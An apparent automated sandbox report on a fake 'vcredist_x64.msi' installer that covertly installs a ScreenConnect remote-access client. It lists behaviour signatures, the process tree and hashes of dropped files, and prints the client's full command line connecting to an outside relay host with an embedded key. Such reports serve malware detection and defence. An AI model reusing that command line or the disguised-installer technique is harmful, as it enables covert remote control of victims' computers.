Analysis

  • max time kernel
    149s
  • max time network
    156s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260130-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    15/04/2026, 19:08

General

  • Target
    vcredist_x64.msi
  • Size 11.2MB
  • Sample260415-xtbnsabs9z
  • SHA256 df4fb9409d9a7a8bf6b2188934ba62b43eaaa701957084f440d1b94f2bba5e3c
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 2 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 3 IoCs
  • Drops file in Program Files directory 18 IoCs
  • Drops file in Windows directory 13 IoCs
  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\vcredist_x64.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:4312
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4564
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 6659F7A94806E75B04B153ACA0C9AE7E C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4372
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI3880.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240662906 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:4472
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:1816
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding A686FA70E2F5DEFC5525B7500CFE02D8
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:3716
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 7B600BF43E4A554BEE415E4787AF6A51 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:2720
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:4004
    • C:\Program Files (x86)\Windows VC\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\Windows VC\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=rasedy.com&p=8041&s=ba9a146b-2475-4e7f-a897-28874a936e06&k=BgIAAACkAABSU0ExAAgAAAEAAQDJxP%2fynUOTae5ssuYWVHrU4HTanLucRagDXq2BmSllBpx%2bWAeuO9bjRrnhVmQRkEtkzxKRPiB2%2bMLj6rFLbkqMetsypbZINyFKLPFLk8eMR8uvdHYNyRLISJHQUEgHJf5tMgzFgshhi9PNAD2%2bJC%2bBaasbd5w66%2fuQIpVHrWu%2fnyD68nLllpPhGPEl2p5MD30CyjB8Ft1i4rxF8XrKGYvYLCFvK4p97JIOoarvydVUN5RYziZFgSbH9eUCMvHF7Kvgwdg1mE6GC2EjON0q4dyP7iWCLguvOmyUQm%2f3tsHEaVhmZ3ZAYP25qgXDW5wE22kGPDZHSJF01EK8K%2b8h%2b0DF&c=hibit-uninstaller&c=&c=&c=&c=&c=&c=&c="
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:5608
      • C:\Program Files (x86)\Windows VC\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\Windows VC\ScreenConnect.WindowsClient.exe" "RunRole" "5a397d64-8f7c-4853-87ff-86f955e09542" "User"
        2⤵
        • Executes dropped EXE
        PID:5240
      • C:\Program Files (x86)\Windows VC\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\Windows VC\ScreenConnect.WindowsClient.exe" "RunRole" "c89d5cb8-4c07-49e4-b758-9350e7fec628" "System"
        2⤵
        • Executes dropped EXE
        • Drops file in System32 directory
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:116

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          e587599.rbs

          • Path C:\Config.Msi\e587599.rbs
          • Size 213KB
          • SHA256 d9ee2f497accb363975eff9a7e89df0472dbf8a553ea37882ee13bf888848c13
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\Windows VC\Client.Override.resources
          • Size 2KB
          • SHA256 aaffb808333049bb6b01318bad1e1a19990814f7d33bee37bc94e1e09f15bbcb
          • MD5 SHA1 SHA512 TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\Windows VC\Client.en-US.resources
          • Size 49KB
          • SHA256 b26b7a988aba7f94473468cae82846bb672a422b016ed1907d187a5c3bb0f8a0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\Windows VC\Client.resources
          • Size 28KB
          • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\Windows VC\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 dd75f431bc27ae5cd60eabf0d705de194c72aa7c6897a7789981df620be5cc41
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\Windows VC\ScreenConnect.ClientService.dll
          • Size 67KB
          • SHA256 228c0f9be331a5fbce6711f6c72d7660419d7746da604168d6f4ad9a492b00aa
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\Windows VC\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 8c7e1feb403442d3bc11a1945a9e0b3651a5095ca3acabe3f608da801dc8c2b7
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\Windows VC\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\Windows VC\ScreenConnect.WindowsClient.exe
          • Size 595KB
          • SHA256 da7697707b476046197af8d35c5a1df3cebd7153b7b48aab1079a6375bdca74a
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\Windows VC\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\Windows VC\ScreenConnect.WindowsCredentialProvider.dll
          • Size 837KB
          • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\Windows VC\app.config
          • Size 1KB
          • SHA256 a203fcde97bbea157f0620429cfc017aa501e86f8f5b7aa6080579fe313404d1
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\Windows VC\system.config
          • Size 936B
          • SHA256 f100dcb709cbd947e0b285fcb706561338c477b1f134f4766a13c61a07b58781
          • MD5 SHA1 SHA512 TLSH

          MSI3880.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSI3880.tmp
          • Size 1.0MB
          • SHA256 a5c116a5746888cdd47fae8269e5d5cc1fa51617744c50256619c75e540034e0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI3880.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI3880.tmp-\ScreenConnect.Core.dll
          • Size 539KB
          • SHA256 1e9eacd3c680b18f3bfee12a835a49d63fed76056aedb2b2ef312999eb6b4033
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI3880.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 af7b515d5ea17e6811f7fd4e0fe76b7bbc6c2ff4e58dc005c86fa30d44f184ca
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI3880.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 f6e77233f0995581f3171ee92c5cab5b8052d177d333a4999e16e696616739a6
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI7693.tmp

          • Path C:\Windows\Installer\MSI7693.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          e587598.msi

          • Path C:\Windows\Installer\e587598.msi
          • Size 11.2MB
          • SHA256 df4fb9409d9a7a8bf6b2188934ba62b43eaaa701957084f440d1b94f2bba5e3c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 24.1MB
          • SHA256 0dbdea8b169dba625343a46227b9ab70817f4692a633e77a72a8dcc4ca90d65d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {de220235-1366-49e4-b998-8dbf47af691a}_OnDiskSnapshotProp

          • Path \??\Volume{8408d847-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{de220235-1366-49e4-b998-8dbf47af691a}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 3f17ca1fece4c44fe313207edcc4b61409b79a6ee8f5a27917af17915db0e15a
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/116-130-0x000000001BDA0000-0x000000001BE4D000-memory.dmp

          memory/116-129-0x0000000002D70000-0x0000000002D7C000-memory.dmp

          memory/1816-137-0x000002FBCDA90000-0x000002FBCDB3D000-memory.dmp

          memory/1816-133-0x000002FBCDA90000-0x000002FBCDB3D000-memory.dmp

          memory/4312-38-0x000001985B620000-0x000001985B6CD000-memory.dmp

          memory/4312-123-0x000001985B620000-0x000001985B6CD000-memory.dmp

          memory/4472-37-0x00000000008F0000-0x0000000000977000-memory.dmp

          memory/4472-31-0x00000000056C0000-0x0000000005C64000-memory.dmp

          memory/4472-30-0x0000000004F60000-0x000000000510C000-memory.dmp

          memory/4472-26-0x0000000004D20000-0x0000000004DAE000-memory.dmp

          memory/4472-22-0x0000000004C10000-0x0000000004C1A000-memory.dmp

          memory/4472-18-0x0000000004BD0000-0x0000000004BFE000-memory.dmp

          memory/4564-127-0x000001F7B1120000-0x000001F7B11CD000-memory.dmp

          memory/5240-117-0x0000000000D40000-0x0000000000DD8000-memory.dmp

          memory/5240-118-0x0000000002E60000-0x0000000002E96000-memory.dmp

          memory/5240-136-0x000000001BE60000-0x000000001BF0D000-memory.dmp

          memory/5240-122-0x000000001C250000-0x000000001C3D6000-memory.dmp

          memory/5240-124-0x0000000001690000-0x00000000016A8000-memory.dmp

          memory/5240-125-0x0000000002EC0000-0x0000000002ED8000-memory.dmp

          memory/5240-120-0x000000001BCD0000-0x000000001BD5E000-memory.dmp

          memory/5240-135-0x0000000001650000-0x000000000165C000-memory.dmp

          memory/5240-121-0x000000001BF10000-0x000000001C0BC000-memory.dmp

          memory/5608-93-0x0000000004690000-0x0000000004722000-memory.dmp

          memory/5608-88-0x0000000004360000-0x00000000043B0000-memory.dmp

          memory/5608-92-0x00000000043B0000-0x00000000043E6000-memory.dmp

          memory/5608-134-0x00000000040E0000-0x0000000004167000-memory.dmp

          memory/5608-97-0x0000000004870000-0x0000000004945000-memory.dmp

          memory/5608-77-0x0000000003F30000-0x0000000003F48000-memory.dmp

          memory/5608-95-0x00000000043F0000-0x0000000004431000-memory.dmp